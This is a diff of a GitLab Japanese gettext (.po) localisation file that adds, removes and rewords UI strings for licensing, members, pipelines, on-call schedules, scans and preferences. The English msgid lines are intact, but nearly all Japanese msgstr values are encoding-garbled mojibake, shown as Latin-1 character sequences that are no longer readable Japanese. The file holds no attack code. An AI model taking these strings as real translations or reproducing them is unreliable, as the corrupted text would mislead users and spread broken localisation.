-msgstr "\"ファイルタイプ\"ã¨\"デリãƒãƒªãƒ¼æ–¹æ³•\"オプションをデフォルト値ã®ã¾ã¾ã«ã—ã¾ã™ã€‚"
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "ライセンス"
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr "ã“ã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã§ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚’検出ã§ãã¾ã›ã‚“ã§
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr "æ–°ã—ã„ライセンスを検出ã—ã¾ã›ã‚“ã§ã—ãŸ"
-msgid "LicenseCompliance|License details"
-msgstr "ライセンス詳細"
-
msgid "LicenseCompliance|License name"
msgstr "ライセンスå"
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr "パッケージ"
-
msgid "LicenseCompliance|Remove license"
msgstr "ライセンスを削除"
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "ã“ã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã¯ã™ã§ã«ã“ã®ãƒ—ロジェクトã«å­˜åœ¨ã—ã¾ã™ã€‚"
-msgid "LicenseCompliance|URL"
-msgstr "URL"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "ã“ã®ãƒ—ロジェクトã‹ã‚‰ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ %{name} を削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
@@ -15760,6 +16137,9 @@ msgstr "タイムトラッキングã®å˜ä½è¡¨ç¤ºã‚’1時間å˜ä½ã«åˆ¶é™ã™ã‚
msgid "Limit namespaces and projects that can be indexed"
msgstr "インデックスã§ãã‚‹åå‰ç©ºé–“ã¨ãƒ—ロジェクトを制é™ã™ã‚‹"
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "イベント表示数を最大 %d 個ã«åˆ¶é™"
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr " リンクタイトルã¯å¿…須入力項目ã§ã™"
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr "課題をéžå…¬é–‹ã«è¨­å®šã™ã‚‹"
msgid "Make sure you save it - you won't be able to access it again."
msgstr "ã“ã‚Œã¯å¿…ãšä¿å­˜ã—ã¦ãã ã•ã„。二度ã¨ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã›ã‚“。"
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "インãƒãƒ¼ãƒˆã™ã‚‹ãƒ—ロジェクトを所有ã™ã‚‹ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§ãƒ­ã‚°ã‚¤ãƒ³ã—ã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„。"
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,18 +16426,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "ã“ã®èª²é¡Œã®é †åºã‚’ä¿å­˜ã§ãã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "FogBugz アカウントIDã‚’ GitLab ユーザーã«ãƒžãƒƒãƒ—ã™ã‚‹"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Google コードユーザーを GitLab ユーザーã«ãƒžãƒƒãƒ—ã™ã‚‹"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Google コードユーザーをフルã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã«ãƒžãƒƒãƒ—ã™ã‚‹"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Google コードユーザーをåå‰ã«ãƒžãƒƒãƒ—ã™ã‚‹"
-
msgid "Mar"
msgstr "3月"
@@ -16118,8 +16492,8 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
-msgstr "ã“ã® %{noun} を作業中ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
+msgid "Marked this %{noun} as a draft."
+msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
msgstr "ã“ã®èª²é¡Œã¯ %{duplicate_param} ã¨é‡è¤‡ã¨ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
@@ -16130,8 +16504,8 @@ msgstr "ã“ã®èª²é¡Œã‚’ %{issue_ref} ã«é–¢é€£ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã—ã
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
-msgstr "ã“ã® %{noun} を作業中ã¨ãƒžãƒ¼ã‚¯ã—ã¾ã™ã€‚"
+msgid "Marks this %{noun} as a draft."
+msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
msgstr "ã“ã®èª²é¡Œã‚’ %{duplicate_reference} ã¨é‡è¤‡ã—ã¦ã„ã‚‹ã¨ãƒžãƒ¼ã‚¯ã™ã‚‹ã€‚"
@@ -16178,6 +16552,9 @@ msgstr "æ案:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "ã“ã®ã‚µãƒ¼ãƒ“スã«ã‚ˆã‚Šã€ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯Mattermostã«ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚³ãƒžãƒ³ãƒ‰ã‚’入力ã—ã¦ã€ã“ã®ãƒ—ロジェクト上ã®ä¸€èˆ¬çš„ãªæ“作ãŒå®Ÿè¡Œã§ãã¾ã™ã€‚"
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr "最大アクセスレベル"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr "%{strong_start}%{group_name}%{strong_end} ã¸ã‚¢ã‚¯ã‚»ã‚¹ã§ãるメン
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "マージコミットメッセージ"
@@ -16535,6 +16936,9 @@ msgstr "マージリクエストã¨ã¯ã€ãƒ—ロジェクトã«åŠ ãˆãŸå¤‰æ›´ã‚’
msgid "Merge requests are read-only in a secondary Geo node"
msgstr "マージリクエストã¯ã‚»ã‚«ãƒ³ãƒ€ãƒªã‚¸ã‚ªãƒŽãƒ¼ãƒ‰ã§ã¯èª­ã¿å–り専用ã§ã™"
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "パイプラインãŒæˆåŠŸã—ãŸã¨ãã«ãƒžãƒ¼ã‚¸"
@@ -17089,6 +17493,9 @@ msgstr "マイルストーンリストã«ã¯ã€é¸æŠžã—ãŸãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "マイルストーン %{milestoneTitle} ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr "より多ãã®ãƒŸãƒ©ãƒ¼ã‚’優先的ã«ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«ã™ã‚‹å‰ã«ä½¿
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "パスワードã¯æœ€ä½Ž %{minimum_password_length} 文字ã§ã™ã€‚"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "パスワードã¯æœ€ä½Ž %{minimum_password_length} 文字ã§ã™ã€‚"
-
msgid "Minimum password length (number of characters)"
msgstr "パスワードã®æœ€å°æ–‡å­—æ•°"
@@ -17290,8 +17694,8 @@ msgstr "SSH éµã‚’追加"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "今後表示ã—ãªã„"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "SSHキーをプロフィールã«è¿½åŠ ã—ãªã„é™ã‚Šã€SSH経由ã§ãƒ—ロジェクトã®ã‚³ãƒ¼ãƒ‰ã‚’プルã—ãŸã‚Šãƒ—ッシュã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
+msgstr ""
msgid "ModalButton|Add projects"
msgstr ""
@@ -17386,6 +17790,9 @@ msgstr "é¸æŠžã‚’下ã¸ç§»å‹•"
msgid "Move selection up"
msgstr "é¸æŠžã‚’上ã¸ç§»å‹•"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr "課題を別ã®ãƒ—ロジェクトã«ç§»å‹•ã™ã‚‹"
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr "別ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã™ã‚‹"
msgid "Need help?"
msgstr "ãŠå›°ã‚Šã§ã™ã‹?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17767,9 +18180,9 @@ msgid "Never"
msgstr "ã—ãªã„"
msgid "New"
-msgstr "æ–°ã—ã„"
+msgstr "æ–°è¦ä½œæˆ"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr "æ–°ã—ã„è¦æ±‚事項"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "æ–°ã—ã„ランナー登録トークンを生æˆã—ã¾ã—ãŸï¼"
@@ -18025,9 +18441,6 @@ msgstr "Gitaly サーãƒãƒ¼ã«æŽ¥ç¶šã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ログを確èªã
msgid "No containers available"
msgstr "コンテナãŒã‚ã‚Šã¾ã›ã‚“"
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr "貢献ãªã—"
@@ -18211,9 +18624,6 @@ msgstr "ウェブフックãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸã€‚上記ã®ãƒ•ã‚©ãƒ¼
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "ã„ã„ãˆã€æ—¢å­˜ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼åを直接インãƒãƒ¼ãƒˆã—ã¾ã™ã€‚"
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr "ã™ã¹ã¦ã®ãƒ‡ãƒ¼ã‚¿ãŒã¾ã å‡¦ç†ã§ãã¦ã„ã¾ã›ã‚“。ãã®ãŸã‚ã€é¸æŠžã—ãŸæ™‚間範囲ã®ãƒãƒ£ãƒ¼ãƒˆã®ç²¾åº¦ã¯åˆ¶é™ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "利用ã§ãã¾ã›ã‚“"
@@ -18268,6 +18681,9 @@ msgstr "データä¸è¶³"
msgid "Not found."
msgstr "見ã¤ã‹ã‚Šã¾ã›ã‚“。"
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "準備ãŒã¾ã ã§ãã¦ã„ã¾ã›ã‚“。ã‚ã¨ã§ã‚‚ã†ä¸€åº¦è©¦ã—ã¦ãã ã•ã„。"
@@ -18280,6 +18696,9 @@ msgstr "注æ„事項"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "ã“ã®æ‹›å¾…メール㯠%{mail_to_invite_email} å®›ã«é€ä¿¡ã—ã¾ã—ãŸãŒã€ã‚ãªãŸã¯ %{link_to_current_user} ã¨ã—ã¦ãŠã‚Šã€ãã®Eメールアドレス㯠%{mail_to_current_user} ã§ã™ã€‚"
@@ -18319,6 +18738,9 @@ msgstr "履歴ã®ã¿è¡¨ç¤º"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ç·¨é›†ã‚’始ã‚ã¦ã‹ã‚‰å¤‰æ›´ã•ã‚Œã¦ã„ã¾ã™ã€‚情報ãŒå¤±ã‚ã‚Œãªã„よã†ã«ã€%{open_link}æ›´æ–°ã•ã‚ŒãŸã‚³ãƒ¡ãƒ³ãƒˆ%{close_link}をレビューã—ã¦ãã ã•ã„。"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "何も見ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸâ€¦"
@@ -18355,9 +18777,15 @@ msgstr "パイプラインã«å¤±æ•—"
msgid "NotificationEvent|Fixed pipeline"
msgstr "パイプラインãŒæ­£å¸¸ã«æˆ»ã‚Šã¾ã—ãŸ"
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "マージリクエストをマージ"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "æ–°è¦ã‚¨ãƒ“ック"
@@ -18373,6 +18801,9 @@ msgstr "æ–°è¦ãƒŽãƒ¼ãƒˆ"
msgid "NotificationEvent|New release"
msgstr "新リリース"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "課題ã®æ‹…当者を変更"
@@ -18382,6 +18813,9 @@ msgstr "マージリクエスト担当者を変更"
msgid "NotificationEvent|Reopen issue"
msgstr "課題をå†ã‚ªãƒ¼ãƒ—ン"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "パイプラインæˆåŠŸ"
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,8 +19035,8 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "インãƒãƒ¼ãƒˆã™ã‚‹ã¨ã€ãƒªãƒã‚¸ãƒˆãƒªã¯SSHã«ã‚ˆã‚ŠãƒŸãƒ©ãƒ¼ãƒªãƒ³ã‚°ã§ãã¾ã™ã€‚詳細㯠%{link_start}ã“ã¡ã‚‰%{link_end} ã‚’ã”覧ãã ã•ã„。"
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
-msgstr "一度削除ã™ã‚‹ã¨ã€forkã®é–¢ä¿‚ã‚’å…ƒã«æˆ»ã™ã“ã¨ã¯ã§ããªããªã‚Šã¾ã™ã€‚ã¾ãŸã€ã‚ãªãŸã¯ãã®ã‚½ãƒ¼ã‚¹ã¸ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’é€ä¿¡ã§ããªããªã‚Šã¾ã™ã€‚"
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
msgstr "エクスãƒãƒ¼ãƒˆã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«ã®æº–å‚™ãŒã§ããŸã‚‰ã€ã‚ãªãŸã¯ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ãƒªãƒ³ã‚¯ä»˜ãã®é€šçŸ¥ãƒ¡ãƒ¼ãƒ«ã‚’å—ã‘å–ã‚Œã¾ã™ã€‚ã¾ãŸã¯ã“ã®ãƒšãƒ¼ã‚¸ã‹ã‚‰ãれをダウンロードã§ãã¾ã™ã€‚"
@@ -18596,9 +19057,6 @@ msgstr "一ã¤ä»¥ä¸Šã®ãƒ‘ーソナルアクセストークンを失効ã•ã›ã¾
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "1ã¤ä»¥ä¸Šã® Google コードプロジェクトを GitLab ã«ç›´æŽ¥ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã¾ã›ã‚“。ãƒãƒ¼ã‚¸ãƒ§ãƒ³ç®¡ç†ã«ã€Git ã§ã¯ãªãã€Subversion ã‚„ Mercurial を使用ã—ã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚"
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr "ä¾å­˜é–¢ä¿‚ファイルãŒã²ã¨ã¤ã‚‚サãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ãªã„ãŸã‚ã€ä¾å­˜é–¢ä¿‚リストãŒä¸å®Œå…¨ãªå¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚以下ã¯ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„るファイルタイプã®ãƒªã‚¹ãƒˆã§ã™ã€‚"
@@ -18680,6 +19138,9 @@ msgstr "課題を開ã"
msgid "Open raw"
msgstr "ãã®ã¾ã¾é–‹ã"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "サイドãƒãƒ¼ã‚’é–‹ã"
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "オプションã¨ã—ã¦ã€ã‚ãªãŸã¯ã€%{link_to_customize} 㧠FogBugz ã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã¾ã™ã€‚"
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "オプションã¨ã—ã¦ã€ã‚ãªãŸã¯ã€%{link_to_customize} 㧠Google コードã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã¨ãƒ¦ãƒ¼ã‚¶ãƒ¼åã‚’ GitLab ã«ã‚¤ãƒ³ãƒãƒ¼ãƒˆã§ãã¾ã™ã€‚"
-
msgid "Options"
msgstr "オプション"
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Pypiã®ãƒ¬ã‚¸ã‚¹ãƒˆãƒªã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€ %{linkStart}ドキュメントをå‚ç…§%{linkEnd}。"
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr "Conan"
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr "Maven"
@@ -19088,9 +19555,6 @@ msgstr "ページãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr "ページã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸ"
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr "パイプラインスケジュール"
msgid "Pipeline minutes quota"
msgstr "パイプラインクォータ(分)"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr "パイプラインã®ã‚µãƒ–スクリプション"
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr "å­ãƒ‘イプライン"
@@ -19511,6 +19975,9 @@ msgstr "パイプラインを読ã¿è¾¼ã¿ä¸­"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "プロジェクトã®ã‚­ãƒ£ãƒƒã‚·ãƒ¥ã‚’正常ã«ãƒªã‚»ãƒƒãƒˆã—ã¾ã—ãŸã€‚"
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr "パイプライン実行"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Runner キャッシュã®ã‚¯ãƒªãƒ¼ãƒ‹ãƒ³ã‚°ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr "ã‚ãªãŸã®ãƒ—ロフィールã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’記入ã—ã¦ã€ãƒ—ロファイルを完了ã—ã¦ãã ã•ã„"
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "ãれらを Google コード上㧠Git ã«å¤‰æ›ã—ã¦ã€å†ã³ %{link_to_import_flow} ã‚’è¡Œã£ã¦ãã ã•ã„。"
-
msgid "Please create a password for your new account."
msgstr "æ–°ã—ã„アカウントã®ãƒ‘スワードを作æˆã—ã¦ãã ã•ã„。"
@@ -19931,18 +20407,12 @@ msgstr "プロジェクトã®æ¦‚è¦ãƒšãƒ¼ã‚¸ã«è¡¨ç¤ºã—ãŸã„コンテンツを
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr "サードパーティã®ã‚µãƒ¼ãƒ“スã¨ã®çµ±åˆã‚’カスタマイズ"
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "アプリケーションヘッダーã¨ãƒŠãƒ“ゲーションサイドãƒãƒ¼ã®å¤–観をカスタマイズã—ã¾ã™ã€‚"
msgid "Preferences|Display time in 24-hour format"
msgstr "時間を24時間形å¼ã§è¡¨ç¤ºã™ã‚‹"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr "コードビューã§çµ±åˆã‚³ãƒ¼ãƒ‰ã‚¤ãƒ³ãƒ†ãƒªã‚¸ã‚§ãƒ³ã‚¹ã‚’有効ã«ã™ã‚‹"
-
msgid "Preferences|For example: 30 mins ago."
msgstr "例: 30分å‰"
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr "çµ±åˆ"
-
msgid "Preferences|Layout width"
msgstr "レイアウトã®å¹…"
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr "空白をå«ã‚ãŸå·®åˆ†ã‚’表示"
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
msgid "Preferences|Syntax highlighting theme"
msgstr "シンタックスãƒã‚¤ãƒ©ã‚¤ãƒˆã®ãƒ†ãƒ¼ãƒž"
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr "ユーザーãŒãƒ—ロファイルåを変更ã§ããªã„よã†ã«è¨­å®šã™ã‚‹"
